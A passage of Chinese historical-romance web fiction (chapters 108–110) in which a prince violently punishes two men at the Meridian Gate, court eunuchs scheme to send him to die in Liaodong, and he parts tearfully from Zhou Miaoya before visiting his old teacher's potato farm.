虚云子忽然横身一步向前,隔在朱弘毅与文毓瑾之间。 “王爷。” 他声线温雅,似含和解之意:“都是体面人,何必伤了和气。” 朱弘毅闻言,心下里嗤笑:就你?背地里腌臜事做尽的臭道士,也敢自称体面人?真是把脸皮丢到北狄去了。 他连眼都未抬,是时候,该给这两个人渣一点教训了。 只见他手腕一翻,自长安腰侧抽出一道冷剑。 寒光乍现,虚云子尚未来得及错步,只觉**一凉。 下一瞬,剧痛霎时汹涌袭来,仿若烧红的铁钎直捣命门。 他张口欲嚎,却只挤出了一声短促的嘶鸣,便被掐断在喉。 他惶然低首,朱弘毅的剑,正正插在他两腿之间。 鲜血瞬间涌了出来,浸透了他灰青色的道士服,沿着裤腿往下淌。 虚云子双腿一软,径直跪了下去。 他伸手想去捂,又是一阵撕心裂肺的剧痛。他疼得整个人蜷缩起来,身体剧烈地颤抖,额头上青筋暴起,冷汗糊了满脸。 “…为…为什么…” 虚云子从牙缝间迸出这几个字,他死死盯朱弘毅,眼中布满血丝,恨不能生啖其肉。 朱弘毅站在他面前,以上位者的姿态垂眸俯视,语气冰冷:“既只会欺负女人,本王便成全你,自今日起,你再无那祸根,倒也省得色欲扰心,便回去专心炼你的丹吧。” 虚云子浑身剧颤,**剧痛如焚,他连直腰的力气都没有。 朱弘毅不再看他,他转身,走向文毓瑾。 文毓瑾仍被长安死死地按在地上,他眼睁睁地看着那一剑刺穿虚云子,瞬间血如泉涌,虚云子痛得蜷缩成一团。 他吓傻了。 裤/裆一热,竟当场尿失禁,温热的液体顺着股/间淌下,浸湿衣裤,腥臊暗涌。 “不…不要…” 文毓瑾声音抖得不成样子,眼泪鼻涕糊了一脸:“王爷…宁王殿下…下官错了…下官再也不敢了…” 朱弘毅停在了他的面前。 他垂眸,以上位者的姿态俯视这个曾在苏州文家用最恶毒的手段羞辱周妙雅的人,这个方才还高扬下巴,一口一个贱货的人。 这人仍在哭喊求饶,声嘶力竭。 他朝长安使了个眼色,长安会意,立即将文毓瑾整个人都翻了过来。 文毓瑾拼命想往后躲,可长安按得太紧,他动不了分毫,只能眼睁睁看着朱弘毅抬起脚… “不!” 文毓瑾的惨叫声与骨头碎裂的声音同时响起。 朱弘毅一脚结结实实踹在他腿间,用尽全力。 文毓瑾整个人弓了起来,像一只被沸水烫熟的虾,喉中迸出的哀嚎卡在半截,只剩嘶哑的抽气。 顾凌云领着一队锦衣卫赶到时,刚好看到了这一幕。 朱弘毅冷眼看着他,语气沉静道:“顾佥事,本王的靴子脏了,需去换双新的,今日新净体的两名太监,便移交于你,还望多加照拂。” 顾凌云目瞪口呆地看着他离去的背影,直至那道玄色的身影进了午门,放才倏然回神… 身旁锦衣卫咋舌,不禁低声爆了句: “真他娘的…狠。”—— 作者有话说:正统十四年八月二十三日,北京紫禁城的奉天殿上演了一场明朝开国以来最血腥的朝堂群殴——午门血案。 土木堡惨败后第八天,五十万京营全军覆没,英宗被俘的消息已传遍京师。王振虽死于乱军,群臣仍要求“族诛王振、以谢天下”。监国郕王朱祁钰召集百官于奉天殿议战守之策,殿门外的午门广场聚满闻讯而来的官员,情绪已至沸点。御史们联名弹劾王振误国,请求族诛其党。马顺出面呵斥,激起众怒。给事中王竑率先扑上去撕咬,众臣一拥而上,把马顺、毛贵、王长随三人当场打死。于谦及时出面喝止,才没继续失控。此事又称“午门血案”或“八月二十三事件”。 第108章 朱弘毅换了一双新的靴子, 径直去到了乾清宫。 殿内点了檀香,烟气袅袅。 泰和帝今日神思尚清,他用手肘着头, 独自对坐在棋盘旁, 眉峰微蹙, 似在凝棋思索。 “皇兄。”朱弘毅上前,揖了一礼。 魏琰不在,此刻殿内只余几名小太监垂首侍立。 朱弘睿见胞弟至,抬手挥了挥,几个小太监见状,便悄声退下,将殿门阖上, 只留兄弟二人。 年轻的皇帝没有说话,只是先抬眼打量了弟弟片刻, 方才缓缓道:“朕听闻你今日, 在午门外闹了好大一场动静。” 朱弘毅垂首,没有辩解,也没有请罪, 倒是答得干脆:“是。” 朱弘睿看着他,良久, 眼底浮出旧日的宠溺,语气却似叹息:“这不像你, 你自幼温雅沉稳,何尝如此…胡闹?” 朱弘毅抬眸, 看向兄长。 皇帝面色苍白,眼底带着深深的倦意,但眼神却是清明的。 他未服丹药, 未被药力所困时,始终还是那个温厚的好哥哥。 “臣弟不过是帮皇兄分忧罢了。”朱弘毅开口,语气平静。 朱弘睿眉梢微动:“哦?” 朱弘毅缓缓说道:“虚云子道长,道法高明,丹也炼得极好,可说到底,他终归是个男人,这深宫里住的都是女眷,他一个外男,若不净身,于情于理,住在这深宫里都不合规矩。” 他略停了一瞬,复又补一句:“臣弟今日,不过是替他行了这个礼,以全宫规罢了。” 朱弘睿笑着点了点头:“你倒是说得在理,此事,确实是朕欠考虑了。” 说罢,他抬手,轻轻拨弄了一下棋盘上的棋子。 “他既已净身,往后便留在宫里,安心炼丹吧。” 随后,朱弘睿复又淡淡道:“至于文毓瑾…” 皇帝抬眼,目光穿过袅袅青烟,看向弟弟:“朕知道,是他挑衅在先。” 朱弘毅默然,只静静听着。 “可说到底,他是朝廷命官,是文家的长孙。” 朱弘睿的声音依旧平静:“你今日这一闹,明日…御使弹劾你的折子怕是要堆积成山,你可做好准备了?” 朱弘毅垂眸,说得坦然:“臣弟打人,确实不对,理当受罚。所有后果,臣弟一力承担,皇兄只管降罪便是。” 他没推脱,没求情,甚至没多解释一句。 朱弘睿静静地看着他,看着这个自幼便跟在他身后,温良谦让,不爱争抢的弟弟。 良久,他忽然轻笑出声,既无冷意,也无怒意,只带着几分无奈的温软: “朕怎舍得真降罪于你?” 说罢,他起身,走到朱弘毅面前,伸手拍了拍弟弟的肩膀: “你是朕的亲弟弟,是这大晟朝,朕唯一能信任的人。” 言毕,他收回手,转身背对朱弘毅,望向窗外沉沉夜色,叹道: “以后莫要再这般冲动了。” 朱弘毅抬眼望向他,皇帝孤寂的背影立在窗棂投下的斜光中,身着明黄色的龙袍,却衬得身形愈发孤薄。 “臣弟明白。”朱弘毅低声应道。 朱弘睿回身,面上又恢复了波澜不兴的平静。 “去吧。” 他道:“今日朕也累了,你回去好好歇息吧。” 朱弘毅揖了一礼,转身便退出了殿外。 ———— 司礼监后身厢房,窗户纸糊得很厚实, 外头一点动静都传不进来。 屋里点了上好的安息香,烟气在暖融融的空气里慢悠悠地浮着。 魏琰半倚在软榻上,双脚浸在热气蒸腾的药汤盆中。 一个小太监跪在他脚边,手法娴熟,力道不轻不重,捏得他眼睛都眯了起来,喉间逸出一声舒坦的轻叹。 康敏之坐在他对面的一把圈椅上,双足亦浸着药汤,另有一小太监跪侍按揉。 他阖目养神,面上波澜不惊,只嘴角微微松弛,泄出惬然之意。 屋内极静,唯余按脚时轻微的水声,以及两人时不时溢出的满意轻叹。 就在这时,门帘突然细微地动了一下,一个穿着青褐色贴里的太监悄步进来,没敢抬头,只躬着身走到魏琰榻边,压低声音道:“干爹,事儿成了。” 魏琰抬了抬眼皮,挥了挥手,示意按脚的小太监们退下。 小太监们帮二人擦干脚,又为他们套上软袜,穿上便鞋,这才躬身退出门外。 那太监觑得四下已无人,只剩魏琰与康敏之,便继续低声禀报道:“文毓瑾依着干爹的吩咐,在午门外说尽了那些刺激宁王的污言秽语,宁王…果然没沉住气。” 魏琰嘴角浮起一丝笑意。 他睁开眼,眼角的皱纹堆叠如干涸河床上的裂痕。 “宁王果然还是年轻。” 他慢悠悠地说道:“年轻气盛,沉不住气,稍微用点激将法,就犯下这等不可饶恕的大错。” 说罢,他侧过头,看向对座的康敏之。 康敏之仍闭着眼,似已入寐。 “康大人。”魏琰轻唤了一声。 康敏之眼皮微动,他并未睁开眼,只从鼻腔里嗯出了一声。 魏琰道:“接下来,该看您的了。” 康敏之这才缓缓睁开眼。 “魏公公放心。” 康敏之开口,声音干涩喑哑:“明日一早,御史台弹劾宁王的折子,便会如洪水决堤,一本接着一本,源源不断,直至淹了陛下的御案。” 说罢,他顿了顿,嘴角扯出一丝极淡的冷笑。 “届时,陛下若是想包庇亲弟…” 康敏之抬眸,目光与魏琰相接: “自有御史,以死相逼。” 魏琰抚掌轻笑。 “妙哉,妙哉,还是康大人老谋深算啊。” 说罢,魏琰坐直了身子,端起旁边小几上的茶盏,抿了一口。 “不过那个虚云子嘛…”谈及此人,他故意拖长声调。 康敏之重新阖目,冰冷地吐出三个字: “他活该。” 康敏之的嗓音中带着毫不掩饰的轻蔑:“哼!看他今后,还如何以色侍人!如今他已是颗半废的棋子,待我们将他最后那点油水榨尽,必然让他死得难堪。” 魏琰听罢这话,朗声笑了起来。 只听他慢慢悠悠地说了一句:“康大人为了李太妃,还真是…忍辱负重。” ———— 自次日起,一连七日,弹劾宁王的折子源源不断地堆满了泰和帝乾清宫的御案。 起初,折子不过是指责宁王当街斗殴,有失皇家体统,泰和帝随手翻了几页,便随手撂到一旁,并未理会。 而后,折子的言辞竟愈发激烈,说什么宁王残害朝廷命官,戕害方外之人,藐视国法,祸乱宫禁云云。 朱弘睿根本没理那些折子,没批,也没发话,只是让司礼监把折子都收起来,搁在一旁,他压根儿就不想理会。 然事态进展却非他所料,竟如滚雪球般,愈滚愈大,终至不可收拾。 御史台,六部,都察院,甚至翰林院,皆有折子上奏。 其或为康敏之门生,或为魏琰党羽,更有闻风而动,凑热闹者,纷纷攘攘,唯恐落后。 一个年轻的御史抱着必死之心给皇帝上了一道血书,而后他跪于午门外,头顶血书,高声疾呼,陛下若不罚宁王,他便以死明志,血溅宫门。 而后,越来越多的年轻御史加入血谏之列,他们集结于午门之外,乌压压地跪成一片,以命相逼,愈逼皇帝表态。 年轻的皇帝有些坐不住了,在这大晟朝二百余年基业里,不是没出过这等事… 嘉靖年间大礼议,皇帝将一百多名闹事臣子收监杖责,当场打死十七人。 泰和帝是有心包庇自己的胞弟,可能他能顶得住午门外愈聚愈多的人吗? 情急之下,他召来了魏琰。 “朕不想罚宁王。” 朱弘睿开口,声音透着疲惫:“可如今这局面…” 话未尽,他只定定望着魏琰。 魏琰躬身立于下首,面上一片恭谨。 “陛下。” 他缓声道:“宁王殿下此番确是冲动了些,不过年轻人嘛,难免气盛。” 朱弘睿听罢这话,揉了揉眉心。 “可这些言官…” 他指了指案上的折子堆:“朕总不能真让他们撞死在宫门外,朕不想重演当年大礼议之祸。” 魏琰垂眸沉吟片刻,方恭谨说道:“陛下,老奴倒是有一拙见。” “大伴请讲。” 魏琰嗓音温缓,似真心为皇室考量:“宁王殿下这些年闲居京中,虽办过几桩差事,可到底未经真正历练过。不如…趁此机会,让殿下出去历练历练?” 朱弘睿抬眸看他,狐疑道:“去哪?” 魏琰垂首,缓缓吐出两个字: “辽东。” 殿内里霎时静了一瞬。 朱弘睿未即刻应声,只凝视着他,良久,方缓缓道:“辽东…如今不太平。” “正因不太平,才需历练。” 魏琰恭声续道:“殿下是亲王,是陛下最信任的胞弟,若能去辽东镇守一方,既是历练,亦是为陛下分忧。” 他言辞恳切,似真心在为宁王谋划前程。 朱弘睿沉默了片刻。 他当然知道辽东凶险… 周家军覆灭之后,北狄人愈发猖獗,年年犯边。辽东的军饷,粮草,兵械,桩桩件件都是笔烂账,朝中没人愿意去,也没人能镇得住。 派宁王去… “陛下。” 魏琰复又开口,语气恳切:“言官们闹至如此,若不给个交代,只怕难以收场,让殿下去辽东,既是历练,亦是暂避风头。” 倒是句句在理,字字有据。 朱弘睿闭上双眼,心中纠结了许久。 再睁开时,眼底已有了决断: “传朕旨意,命宁王朱弘毅,即日起亲赴辽东,代朕巡视边务,整饬军备。” 魏琰听罢,退后半步,深深躬身:“奴才遵旨。” 他退出殿外时,嘴角浮起了一丝极淡的笑意。 辽东… 那就是个吃人不吐骨头的地方。 周家军当年何等威风,不也全军覆没?北狄人的铁骑,辽东的严寒,缺饷少粮的边军,还有那些盘根错节的将门世家… 魏琰早已把辽东军饷贪墨殆尽,边军三年未发足饷,士气低迷,怨声载道。 北狄年年犯边,烧杀抢掠,辽东早已烂透。 像朱弘毅这种在京中养尊处优的公子哥,去了那种地方… 那便是—— 必死无疑。 等朱弘毅死在辽东,皇帝痛失胞弟,心神大乱,朝中再无人能制衡他们的时候… 这大晟的天下,便该换种玩法了。 第109章 六尚局后身有间僻静的房舍, 平日里是专门用来存放旧案档册的,鲜少人至。 这里门窗紧闭,屋内只燃着一盏昏黄的明角灯。 孙女官正在给周妙雅上药。 那药盛在一只青瓷小罐里, 膏体细腻, 涂在伤口上泛着清凉的药气。 正是之前周妙雅在西苑险些被勒死时, 朱弘毅次日遣人送来的那罐,当时余下的未用完,一直被她收在匣子里,这回正好派上用场。 孙女官以指尖蘸了些许药膏,轻轻涂在了周妙雅腕间的红痕上。 她手腕,脚踝被麻绳磨破的地方,已经结了细痂, 勒痕也淡了许多,只余几道浅红的印子, 不细瞧已不甚明显。 “好在没伤到筋骨, 不然不会好的这么快。”孙女官感慨道。 周妙雅低低嗯了一声。 她垂首看着自己腕间,细痂边缘有些微微发痒,是伤口快好了的征兆。 屋内很安静, 明角灯的光晃晃悠悠的,将两人的影子投在墙上, 忽长忽短。 孙女官收起药罐,用帕子擦了擦手, 方才低声道:“虚云子那熏香,我已查清楚了。” 周妙雅倏然抬起头, 望向她。 孙女官的声音压得极低:“我派人去了趟丹房,从他的香炉中窃了一小块残片出来,找太医院的卢院判看过, 又托了外头懂行的人辨认过…” 说到这里,她顿了顿,将目光投向周妙雅: “此物是北狄萨满独有的一种熏香,大晟境内没有,连西域商路都不见流通,只有北狄王庭和几个大部落的萨满法师,才会用这种香。” 周妙雅心头巨震,她虽心中早有猜测,可听到确证 时,心头仍像是被狠狠撞击了一下。 她回忆起了那熏香的气味,浓烈,奇异,带着原始到近乎蛮荒的腥甜。 由于第一次闻到那气味时是被蒙着眼,嗅觉被无限放大,所以她记得格外清晰。 “所以…” 周妙雅开口,嗓音有些发干:“他确是北狄奸细。” 孙女官颔首:“证据确凿无疑。” 只见她沉吟片刻,复又说道:“虚云子是宫宴之上,阉党魁首户部尚书王孟献引荐给陛下的,若虚云子是奸细,那康敏之与魏琰,都脱不了干系。” 周妙雅微微点头,表示赞同。 她想起了自己的父亲。 宁王府藏书楼密室中那些泛黄的战功册,周家上下三百余口人的性命,还有葬身黑水河畔的几万周家军将士… 康敏之… 她深吸一口气,缓缓说道:“康敏之当年在兵部尚书任上,便是构陷家父最积极的人。” 孙女官抬首望向她。 明角灯的光映在周妙雅面上,明明灭灭。她那双沉静的眸子里沉着一片浓浓的,化不开的黑。 周妙雅继续说道:“康敏之当年蹦得那样高,非逼着先帝杀了我父亲不可,若非得了北狄人天大的好处,他何至于此?” 这也是孙女官一直以来想要寻找的答案。 屋内又安静了下来,唯有灯芯偶尔爆出细微的噼啪声。 周妙雅蹙着眉,似又想起了什么。 良久,她才开口:“姑姑,还有一个人,亦有嫌疑。” 孙女官望向她,问道:“你是疑心李太妃?” 周妙雅重重地点了点头:“西苑发生的事,桩桩件件都透着诡异,安和郡主构陷我,虚云子掳我,还有早前文老太太的死,济慈堂的那些女子…她身为西苑之主,说全不知情,鬼都不信。” 说到这里,她深吸了一口气,复又说道:“姑姑,我怀疑,康敏之与李太妃,是不是一伙的?” 孙女官瞳孔微缩。 她没有立即接话,只是盯着周妙雅,看了好一会儿。 明角灯的光映在她眼底跳动着。 良久,她终于开口:“若真是一伙的,那他们所图之事为何?” 是啊。 图什么? 康敏之已是首辅,一人之下,万人之上。 李太妃是先帝嫔妃,当朝太妃,虽无实权,可尊荣富贵一样不缺。 他们到底还要什么? 想到这里,周妙雅喃喃道:“北狄到底许了他们什么好处?让他们肯叛国卖命,做到这个地步?” 两人对坐着,虽谁也没再说话,但脑海中却是在迅速的抽丝剥茧。 这是从一缕熏香扯出的一张网,这张网上连着虚云子,连着康敏之与魏琰,连着李太妃,连着北狄,连着二十年前的黑水河,连着数以万计无人收殓的尸骨。 可网的中心到底是什么? 那张网要捕的,又是谁? 二人正想到深处,只听门外忽然传来一阵叩门声。 声音很轻,三下,停顿,又两下。 是约好的暗号。 周妙雅与孙女官对视一眼。 孙女官起身,行至门边,侧耳听了听,方才轻轻拉开门闩。 门外是崔尚宫身边的心腹女官。 孙女官将她请进门,复又将门关好,只见那女官脸色煞白,压低声音说道:“孙司记,周司典,刚得的消息,陛下已下圣旨,要派宁王殿下去辽东历练。” 周妙雅手里的药罐哐当一声掉在了地上。 青瓷小罐没有碎,只是滚了两圈,停在了桌脚边。 “什么时候的事?”孙女官急声问道。 “就刚才。” 那崔尚宫的心腹女官喘了口气:“旨意刚刚出乾清宫,这会儿怕是快到宁王府了。” 周妙雅终于动了动。 她弯下腰,慢慢捡起药罐,手指有些抖,捡了好几次才捡起来。 药罐上沾了灰,她用手擦拭,可怎么擦都擦不干净。 孙女官复又追问道:“可知是什么因由?” 那女官摇了摇头:“具体原由不清楚,只听说是与宁王殿下午门外殴伤虚云子道长与文修撰有关,弹劾的折子堆成了山,陛下没办法,才令王爷去辽东暂避风头。” 暂避风头? 周妙雅直起身,扯了扯唇角,发出一丝冷笑。 辽东… 那是周家军全军覆没的地方。 是父亲与周家全家上下三百余口战死的地方。 是北狄铁骑年年践踏,大晟边军节节败退的地方。 是军饷被贪墨殆尽,将士们三年未发足饷,怨声载道的地方。 被派去那里,也叫暂避风头? 孙女官也沉默了。 她望向周妙雅,只见她面色惨白,正用尽全力抑制着身上止不住的颤抖,眼底翻涌起一片几乎要溢出的暗色。 “姑姑。” 周妙雅终于忍不住,抬起泛着水光的眼眸,着急的泪在眶中打转:“他们是想让他死。” 孙女官心头一紧,上前一步:“妙雅…” “他们想让他死在那里。” 周妙雅摇着头,死死咬着下唇,似要咬出血来:“他们想像当年让我父亲死在那里一样,让二郎死在辽东。” 她倏然抬头,眼底那片暗色骤然腾烧了起来:“姑姑,我不能让他死,我得赶紧出宫一趟,去宁王府!” 孙女官望着她。 望着这个她当年亲手送到苏州文府,她姐姐自幼看着长大的孩子,望着这个历经家破人亡,寄人篱下,受尽屈辱,却始终没有倒下的姑娘。 她重重颔首:“你且安心去,皇后娘娘那里,我会替你告假。” 周妙雅抬起手,用袖子狠狠抹了抹眼底尚未坠下的泪。 她知道,此刻哭不能解决任何问题,她必须马上见到他。 ———— 一个熟悉的身影出现在宁王府门口。 她提着裙摆,跑得上气不接下气。 是周妙雅。 她立在门边,扶着门框,胸口剧烈地起伏着,额上尽是汗。 王府的下人们都识得她,见是她,便未加阻拦。 她一路畅通,行至书房门前,刚要抬脚进去,却听屋内传来朱弘毅与顾凌云的谈话声。 “何时动身?”顾凌云问。 “三日后。”朱弘毅道。 顾凌云望着他脸上平静得不能再平静的表情,心中十分疑惑:“辽东现在情况很差,将士们连过冬的棉衣都凑不够,军饷三年未发足,士卒饿得面黄肌瘦,有些饿极了,夜里甚至偷马料吃。去年冬天,冻死了三百多人,尸体堆在营外,开春才埋。” 朱弘毅听着,脸上仍没什么表情,只淡淡嗯了一声。 顾凌云见他这般,心下更急,追问道:“你就一点都不担心?这分明是魏琰与康敏之设下的圈套。” 朱弘毅面上依旧风平浪静,只是淡淡点了点头:“本王知道。” 顾凌云望着他,眼中满是恳切:“殿下先前救过下官的性命,下官一直铭记在心。下官曾对阿姐说过,宁王殿下的恩情,我顾凌云即便粉身碎骨也会偿还。他日若王爷需要,这条命随时双手奉上。” 朱弘毅抬首看了他一眼:“你什么意思?” 顾凌云语气坚决:“下官愿替王爷去辽东,一来,是我欠阿姐的,若非我粗心大意,被魏琰设计支走,阿姐也不会中逍遥散,逍遥散的解药在北狄,合该我亲自 去寻。二来…” 他顿了顿,抬眼望向朱弘毅,复又道:“我知道殿下与周司典情深,宫中水深火热,险象环生,周司典离不开殿下。所以…我愿替殿下去辽东,是生是死,我顾凌云一人扛。” 朱弘毅听罢这话,只淡淡笑了笑。 那笑意风轻云淡,仿佛已参透世间所有腌臜事。 朱弘毅往前走了两步,走到顾凌云面前。 他抬起手,拍了拍顾凌云的肩膀。 力道虽轻,却让顾凌云整个人僵了一下。 朱弘毅开口,语气平静:“你原说过,想与我作君子之争,妙雅选谁,你都认。” “可我若负了她,那便无论我是谁,身居何位,都不配你再以君子之礼相待。” 顾凌云愕然望向他,猜不透他接下来要说什么,更不知他心底到底在作何盘算。 朱弘毅笑了笑:“那我此刻,便要你继续以君子之礼待我,可好?” 顾凌云听罢这话,整个人愣在了那里。 他张了张口,想说些什么,却一个字也吐不出来。只是望着朱弘毅,望着他那双平静无波的眼眸。 过了许久,他才哑着嗓子问道: “朱弘毅,你什么意思?” 朱弘毅扯了扯唇角,那笑意极淡,却令顾凌云猛觉心头发紧: “我此去辽东,前路生死未卜,京城的人和事,只能拜托给你了。” 顾凌云喉头发紧。 朱弘毅望着他,一字一句,说得极缓:“我不在时,妙雅…便托付给你了。皇嫂的解药,只要我还有一口气在,必当双手奉上。” 门外,周妙雅指尖死死抠住门框。 书房里的对话,如兜头一盆冰水,浇得她自头顶至脚踵,彻骨生寒。 眼泪再也抑制不住,她一把推了开书房的门。 屋内二人同时转过头来。 朱弘毅怔住,顾凌云亦僵在原地。 周妙雅满面泪痕,眼睛哭得红肿,发髻因为跑得太急散了几缕,贴在汗湿的鬓边。她胸口剧烈地起伏着,唇瓣被她咬得血色尽失,整个人正微微颤栗着。 她谁也不看,只直直望向朱弘毅。 然后,她如发疯了一般奔向他。 朱弘毅下意识张开双臂。 她整个人撞入他怀中,力道之大,令他踉跄着倒退半步。她紧紧环住他的脖颈,仿佛一松手,他便会消散。 “二郎…” 她声音抖得不成样子,脸埋进他的胸口,热泪霎时浸透了他衣衫的前襟。 “我不要…我不要…” 她一遍遍地重复着,像是只会说这几个字了。 她闷在他怀里,哭声压抑着,断断续续的抽噎听得人心头发紧。 “我只要你活着…我只要这个…二郎,我求你了…” 她仰起脸,泪眼朦胧地望向他,面上尽是湿漉漉的泪痕,哭得鼻尖通红。 朱弘毅的喉结剧烈地滚动着。 他垂下眸,望着她这副模样,心口如被钝刀子慢慢割开。 他抬手以指腹轻轻擦拭着她的眼角,却怎么也拭不尽那汹涌而出的泪水。 “我没事啊。”他低声说道,声音放得极轻,像是在哄孩子。 周妙雅只是摇头,眼泪大颗大颗地往下掉。 朱弘毅捧起她的脸,强迫她看向自己。 他望进她那双盈满水光的眸子,一字一句,说得极其清晰:“妙雅,你可还记得,我同你说过,我的理想是什么吗?” 周妙雅怔了怔。 她当然记得。 在瀚海楼底层的那间密室中,堆满了周家军战功册的地方。他说过,五岁那年在望北楼听书,痴迷辽东那些金戈铁马的故事。他说过,曾偷偷跑去京郊大营,被父亲周承山以戒尺惩罚了五下。他说过,她父亲曾许诺过,待他足够强大的时候,会亲手将周家军的腰牌交给他。 朱弘毅望着她恍然的神情,唇角牵起一丝极淡的笑意。 那笑意里没有半分牵强,反而有种尘埃落定后的从容。 “如今终于有机会了。” 他淡淡说着:“妙雅,你当为我高兴才是。” 他顿了顿,复又低声说道:“即便没有魏琰与康敏之设的这个局,我本来…也是想去的。” 周妙雅的哭声停了下来。 她抬着泪眼望向他,似第一次真正看清楚他的内心深处。 朱弘毅笑了笑,手指仍轻轻抚着她的脸,继续说道:“若我不往前迈这一步,你父亲的冤案,皇嫂的解药,皆会永远停滞不前。总得有人…要往前迈这一步。” 周妙雅吸了吸鼻子,努力想止住眼泪,她抬手用袖子胡乱抹了把脸,声音还带着浓重的鼻音:“可我已经查到虚云子就是北狄奸细了,只要顺着这条线查下去,背后之人早晚会露出马脚…你不必非要去那么危险的地方…” 朱弘毅摇了摇头。 他握住她胡乱拭泪的手,裹入了自己的掌心。他掌心温热,覆着常年执笔握剑磨出的薄茧。 “妙雅,此事没那么简单。” 他看着她,目光深得像深不见底的寒潭。 “这王朝的毒瘤…早已根深蒂固。砍去几根枝叶无用,它们还会再长出来。唯有挖出根茎,连根拔起,方能真正解决所有问题。” 他顿了顿,语气是从未有过的坚定:“妙雅,相信我。” 周妙雅痴痴地望向他。 他那双平静无波的眼眸中,燃着从未熄灭的过火。 她想起密室中那些泛黄的战功册,他亲口对她说过:“我想成为你父亲那样的人。” 终于,她慢慢点了点头,点得极重,像是用尽了全身的气力。 随即,她松开环着他脖颈的手,颤抖着探入怀中,摸索了片刻,取出一枚玉佩。 玉佩温润,在昏暗光线下泛着莹莹的微光,上头刻着一个清晰的周字。 她执起朱弘毅的手,将玉佩郑重地,轻轻置于他的掌心。 朱弘毅的指尖微微颤动着。 “二郎。” 周妙雅的声音还带着哭腔,却已平稳了许多:“你说过…若我父亲还活着,他定会亲手将周家军的腰牌交予你。” 她抬起泪眼,望进他的眼底: “今日,我就将这枚玉佩托付于你。” 她握着他的手,让他合拢手指,将那枚玉佩紧紧攥在手心。 “这枚玉佩…承载着周家上下三百余口人的性命。也承载着黑水河畔…数万周家军将士的忠骨。” 她深吸了一口气,眼底泪意翻涌,却强忍着没让它们落下来。 “如今,我将他们都托付与你了。” “二郎,答应我。” “一定要活着回来。” 朱弘毅低头看着掌心的玉佩,良久,他缓缓收拢五指,将那枚玉佩牢牢攥在手心。 然后,他抬起另一只手,轻轻抚上了她的面颊。 “我不在你身边时,你要保护好自己。” 他顿了顿,继续说道: “我在魏琰身边的眼线…会帮你,皇嫂也会护着你,还有顾凌云…” 说到这里,他朝门外看了一眼。书房门虚掩着,外头空荡荡的,顾凌云早已悄无声息地退了出去。 他收回视线,重新看向她,眼底温柔与坚定交织:“我自当放心去辽东,建功立业。” 随即,他补上了那句:“在京城等我,无论再难再苦,等我回来娶你。” 周妙雅的眼泪终于又滑落了下来。 但这一次,她没再抽泣。 她望着他,望着这个即将踏上生死未卜前路的男人,望着这个从风雪中的破庙里将她捡回,给予她活下去的尊严,安身立命的官职以及未来全部希望的男人。 她重重地,用力地点头。 “好。”—— 作者有话说:终于!!哭死我了!!!开启辽东新篇章!! 小朱!!崛起吧!! 第110章 三日之后, 天还未亮透,朱弘毅便离开了京城。 没有王府的车队仪仗,只他与长安两人, 各乘一骑, 皆是寻常制式的普通军马, 将行囊系于马背之上,里头只放了几件换洗的衣物与几卷兵书。 清晨的雾气还很浓,街上空荡荡的。 长安跟在朱弘毅身后几步,频频回望渐行渐远的城门。 朱弘毅并未回首,他手扣缰绳,身形挺拔,目光落在前方雾茫茫的官道上。 出城之后, 路就不好走了。官道年久失修,坑洼处积着前夜的雨水, 马行其间, 深一脚浅一脚,泥水飞溅。 两人一路往东北方向走。 头两日走得很急,每日天不亮就动身, 入夜才寻驿站歇脚。 朱弘毅的话很少,多半时间只是在默然赶路, 偶尔停下来喂马时,他会从怀中掏出那枚玉佩, 或摊于掌中静静凝视,或在指间摩挲许久。 长安只在 一旁默默喂马, 不敢多言。 过了通州地界,天忽然阴了下来,骤风中裹着潮气, 远处闷雷隐隐。 长安抬头看了看天气:“殿下,怕是要下雨了。” 朱弘毅勒住缰绳,亦抬眼望了望天色:“前头有处庄子,先去避避。” 那庄子不大,只十来户人家,庄头的听说来了两位过路客,便腾出一间空屋。那屋子简陋,土炕上铺着草席,窗纸破了几处,风一吹哗啦哗啦地响。 雨果然下了起来。 初时还嘈嘈切切地砸在瓦片上,很快就连成一片雨帘,天地间霎时白茫茫一片。 朱弘毅负手立于檐下看雨,看着那雨水顺着檐角哗啦啦地淌下,他忽想起周妙雅,那小哭包,总是爱哭鼻子,在得知他要离京的那日,她站在宁王府书房门口,眼泪也是这般淌的。 他闭上双眼,手在袖中握紧了那枚玉佩,心中暗暗想着: 往后,再也不要惹她哭鼻子了。 次日,雨终是停了,地上满是泥泞,马行得极慢,及至晌午,才抵达了天津卫地界。 天津卫靠海,官道两旁渐渐能看见盐田,盐堆皑皑,于烈日之下泛着白光。 朱弘毅没有进城,而是拐上了一条向北的岔路,道路渐荒,两侧是成片的野地,长着半人高的野草。 也不知道走了多久,就在夕阳西下之际,正前方忽然看见田垄。 这田里种的东西和别处的很不一样,植株不高,叶子宽大而肥厚,有些已经结了果实,土黄色的块茎半露在外头,累累垂垂的。 长安好奇地“咦”了一声:“王爷,这是…?” 朱弘毅淡然道:“土豆。” “土豆?”长安愈发疑惑,这东西形貌古怪,他闻所未闻。 朱弘毅想起徐明阳离京前所言:“西洋传来的东西,据说耐旱高产,荒年可救命。” 长安顿时来了精神:“竟有这等好物?若能推广开来,那西北,辽东便再不怕饥荒了!” 朱弘毅点了点头,二人放慢了马速,继续前行,不远处田埂尽头处,那田庄已遥遥在望。 那田庄并无高墙大院,只绕了一圈篱笆,内有几间瓦舍。 此刻院门敞着,远远能瞧见里头晒着成串的玉米,金黄一片。 朱弘毅翻身下马,将缰绳递与长安,径自走了进去。 徐明阳正蹲在院子里,他穿着一身粗布短打,裤脚高卷及膝,赤足立于泥地中,手持一把短锄,正在为一畦菜苗松土。 听见脚步声,他抬起头来。 “学生拜见恩师。”朱弘毅走上前去,长揖一礼。 徐明阳搁下手中锄头,在裤腿上擦了擦手:“来了?” 极寻常的一句问询,似早知他会来。 朱弘毅微微颔首。 “屋里坐。” 徐明阳引着他往正屋去,又回首朝厢房唤了一句:“夫人,麻烦沏壶茶来。” 屋内陈设简朴,只一桌两椅,靠墙摆着书架,架上塞满了农书和札记。墙上挂着一幅辽东舆图,墨迹已有些微微泛黄。 徐夫人端着粗陶茶碗进来,笑道:“不知宁王殿下驾临,寒舍苦寒,屈尊了。” 朱弘毅摇了摇头:“师娘言重了,您不是携孩子回松江府了?怎得又来了天津卫?” 徐明阳捋须朗笑:“还不是放心不下我这把老骨头,独自在这异乡种地。” 朱弘毅望着眼前琴瑟和鸣的老夫妻,念及自己方与周妙雅分离,眼底不禁浮起几分艳羡之意。 徐明阳似看穿了他的心事,忆起此前周女官曾寄来《坤舆万国全图》的手稿,那图绘制精细,经纬考据精详,而今二人竟要被迫分离,恍如隔世。 